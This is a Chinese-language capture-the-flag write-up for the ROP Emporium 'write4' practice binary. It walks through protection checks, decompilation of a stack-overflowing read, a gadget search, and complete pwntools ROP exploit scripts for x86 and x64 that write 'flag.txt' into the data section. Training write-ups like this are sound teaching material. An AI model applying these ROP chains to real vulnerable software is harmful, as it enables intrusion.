write4 题目链接:https://ropemporium.com/challenge/write4.html
x86 根据题目的提示可知,在本题程序中并没有存在levle2中的字符串,但是题目给了一个重要的信息,就是链接库中存在一个print_file
函数,只需要将你希望读取的文件名(如:“flag.txt”)作为第一个参数调用即可。结合后续的提示,我们可以得到如下思路:
将字符串flag.txt
从栈上写入到数据段,然后调用print_file
函数,并将字符串作为参数传递。如果直接写在栈上,这样就引入了一个难题,我们需要额外在获取栈的地址,所以我们选择写入到数据段,根据readelf
可以看到.data有rw权限。
首先还是按流程,先检查下程序保护情况:
1 2 3 4 5 6 7 8 $ checksec ./write432 [*] '/home/giantbranch/Desktop/rop_emporium_all_challenges/level4_write4/32/write432' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: '.'
因为有链接库,根据之前的经验,我们直接查看程序中的导入的链接库中的函数:
1 2 3 4 5 6 7 8 $ rabin2 -i write432 [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x080483b0 GLOBAL FUNC pwnme 2 0x000003e0 WEAK NOTYPE __gmon_start__ 3 0x080483c0 GLOBAL FUNC __libc_start_main 4 0x080483d0 GLOBAL FUNC print_file
可以看到,·pwnme
和print_file
函数均在库函数中,我们加载分析链接库,具体看一下这两个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ r2 -A ./libwrite432.so [0x000005a0 ]> s sym.pwnme [0x0000069d ]> pdg void sym.pwnme(void ){ int32_t unaff_EBX; uint s; uint var_4h; entry0(); sym.imp.setvbuf(**(unaff_EBX + 0x194f ), 0 , 2 , 0 ); sym.imp.puts (unaff_EBX + 0x14f ); sym.imp.puts (unaff_EBX + 0x166 ); sym.imp.memset (&s, 0 , 0x20 ); sym.imp.puts (unaff_EBX + 0x16b ); sym.imp.printf (unaff_EBX + 0x194 ); sym.imp.read(0 , &s, 0x200 ); sym.imp.puts (unaff_EBX + 0x197 ); return ; }
同样,read
函数处存在栈溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 [0x0000069d ]> s sym.print_file [0x0000074f ]> pdg void sym.print_file(int32_t filename){ int32_t unaff_EBX; int32_t *piVar1; int32_t iStack76; int32_t iStack72; uint uStack64; uchar auStack60 [11 ]; uint s; int32_t stream; uint var_4h; piVar1 = auStack60; uStack64 = 0x75b ; entry0(); stream = 0 ; iStack72 = unaff_EBX + 0xf0 ; iStack76 = filename; stream = sym.imp.fopen(); if (stream == 0 ) { iStack72 = filename; iStack76 = unaff_EBX + 0xf2 ; piVar1 = &iStack76; sym.imp.printf (); iStack76 = 1 ; sym.imp.exit (); } *(piVar1 + -8 ) = stream; *(piVar1 + -0xc ) = 0x21 ; *(piVar1 + -0x10 ) = &s; *(piVar1 + -0x14 ) = 0x7b6 ; sym.imp.fgets(); *(piVar1 + -0x10 ) = &s; *(piVar1 + -0x14 ) = 0x7c5 ; sym.imp.puts (); *(piVar1 + -0x10 ) = stream; *(piVar1 + -0x14 ) = 0x7d3 ; sym.imp.fclose(); return ; }
这里不得不说一句,还是用IDA反编译看起来比较舒服,这里就当是联系其他的工具吧,技多不压身。
接着我们在看下程序中的函数有哪些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ r2 -A ./write432 [0x080483f0]> afl 0x080483f0 1 50 entry0 0x08048423 1 4 fcn.08048423 0x080483c0 1 6 sym.imp.__libc_start_main 0x0804837c 3 35 sym._init 0x08048440 1 4 sym.__x86.get_pc_thunk.bx 0x080483e0 1 6 sym..plt.got 0x080485b4 1 20 sym._fini 0x08048450 4 41 sym.deregister_tm_clones 0x08048490 4 54 sym.register_tm_clones 0x080484d0 3 31 sym.__do_global_dtors_aux 0x08048500 1 6 sym.frame_dummy 0x0804852a 1 25 sym.usefulFunction 0x080483d0 1 6 sym.imp.print_file 0x080485b0 1 2 sym.__libc_csu_fini 0x08048550 4 93 sym.__libc_csu_init 0x08048430 1 2 sym._dl_relocate_static_pie 0x08048506 1 36 main 0x080483b0 1 6 sym.imp.pwnme
从这里我们可以看到几个有用的函数usefulFunction
、imp.print_file
、imp.pwnme
,后两个我们已经在链接库中看过了,我们再来看下第一个函数:
1 2 3 4 5 6 7 8 9 [0x080483f0 ]> s sym.usefulFunction [0x0804852a ]> pdg void sym.usefulFunction(void ){ sym.imp.print_file("nonexistent" ); return ; }
该函数的作用就是调用print_file
,emm,怎么说,也没有那么的usefull😂
其实,这里如果我们用pwndbg
来查看函数信息,会有不一样的发现,(在IDA中也能发现):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> info function All defined functions: Non-debugging symbols: 0x0804837c _init 0x080483b0 pwnme@plt 0x080483c0 __libc_start_main@plt 0x080483d0 print_file@plt 0x080483f0 _start 0x08048430 _dl_relocate_static_pie 0x08048440 __x86.get_pc_thunk.bx 0x08048450 deregister_tm_clones 0x08048490 register_tm_clones 0x080484d0 __do_global_dtors_aux 0x08048500 frame_dummy 0x08048506 main 0x0804852a usefulFunction 0x08048543 usefulGadgets 0x08048550 __libc_csu_init 0x080485b0 __libc_csu_fini 0x080485b4 _fini
我们可以看到,在0x08048543
地址处,有一个叫usefulGadgets
的函数,从名字上来看,它能够给我们提供一些有用的gadgets,我们反汇编查看一下:
1 2 3 4 5 6 7 8 9 10 pwndbg> disass usefulGadgets Dump of assembler code for function usefulGadgets: 0x08048543 <+0>: mov DWORD PTR [edi],ebp 0x08048545 <+2>: ret 0x08048546 <+3>: xchg ax,ax 0x08048548 <+5>: xchg ax,ax 0x0804854a <+7>: xchg ax,ax 0x0804854c <+9>: xchg ax,ax 0x0804854e <+11>: xchg ax,ax End of assembler dump.
mov DWORD PTR [edi],ebp
是一个很有用的gadgets,它将ebp
寄存器的内容移动到地址为(edi
寄存器的内容)的地址处,如果我们能把ebp
的值设置为rw
区域的地址,那么我们就能把ebp
里的内容写入到上边。
顺着这个思路,我们就需要找到对edi
,ebp
操作的gadgets
1 2 3 4 5 6 7 8 9 pwndbg> rop --grep "pop edi" 0x080485a5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080485a4 : jecxz 0x8048531 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret 0x080485a3 : jne 0x8048591 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080485a6 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret 0x080485a7 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret 0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080485aa : pop edi ; pop ebp ; ret 0x080485a9 : pop esi ; pop edi ; pop ebp ; ret
0x080485aa
处的gadget刚好满足我们的两个要求
接着,我们查找下数据段地址:
1 2 3 4 $ readelf -S write432 ... [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 ...
0x0804a018
就是数据段的起始地址,我们可以构建ROP链了
1 2 3 4 5 6 7 8 9 10 padding #padding pop edi; pop ebp; ret #覆盖原来的返回地址,设置寄存器的值 data addr + 'flag' #数据段地址 和 参数‘flag’ mov [edi],ebp; ret #将参数从寄存器转移到数据段 pop edi; pop ebp; ret #设置寄存器的值 data addr+4 + '.txt' #数据段地址 和 参数'.txt' mov [edi],ebp; ret #将参数从寄存器转移到数据段 print_file addr #print_file函数地址 fake_return addr #预留返回地址 data addr #参数flag.txt在数据段中的地址
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *p = process('./write432' ) e = ELF('./write432' ) print_addr = p32(e.plt["print_file" ]) flag_addr = p32(0x0804a018 ) flag_addr2= p32(0x0804a018 + 4 ) pop_edi_ebp_addr = p32(0x080485aa ) mov_data_addr = p32(0x08048543 ) offset = 44 payload = offset*b'A' payload+= pop_edi_ebp_addr + flag_addr + b'flag' payload+= mov_data_addr payload+= pop_edi_ebp_addr + flag_addr2 + b'.txt' payload+= mov_data_addr payload+= print_addr payload+= p32(1 ) payload+= flag_addr p.sendline(payload) p.interactive()
执行结果如下:
1 2 3 4 5 6 7 8 9 write4 by ROP Emporium x86 Go ahead and give me the input already! > Thank you! ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $
x64 64位与32位思路相同,需要多找一个传递函数参数的gadgets。
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p = process('./write4' ) e = ELF('./write4' ) print_addr = p64(e.plt["print_file" ]) flag_addr = p64(0x0000000000601028 ) pop_data = p64(0x0000000000400690 ) mov_data = p64(0x0000000000400628 ) pop_rdi = p64(0x0000000000400693 ) offset = 40 payload = offset*b'A' payload+= pop_data +flag_addr+b'flag.txt' payload+= mov_data payload+= pop_rdi + flag_addr payload+= print_addr p.sendline(payload) p.interactive()
执行结果如下:
1 2 3 4 5 6 7 8 9 write4 by ROP Emporium x86_64 Go ahead and give me the input already! > Thank you! ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $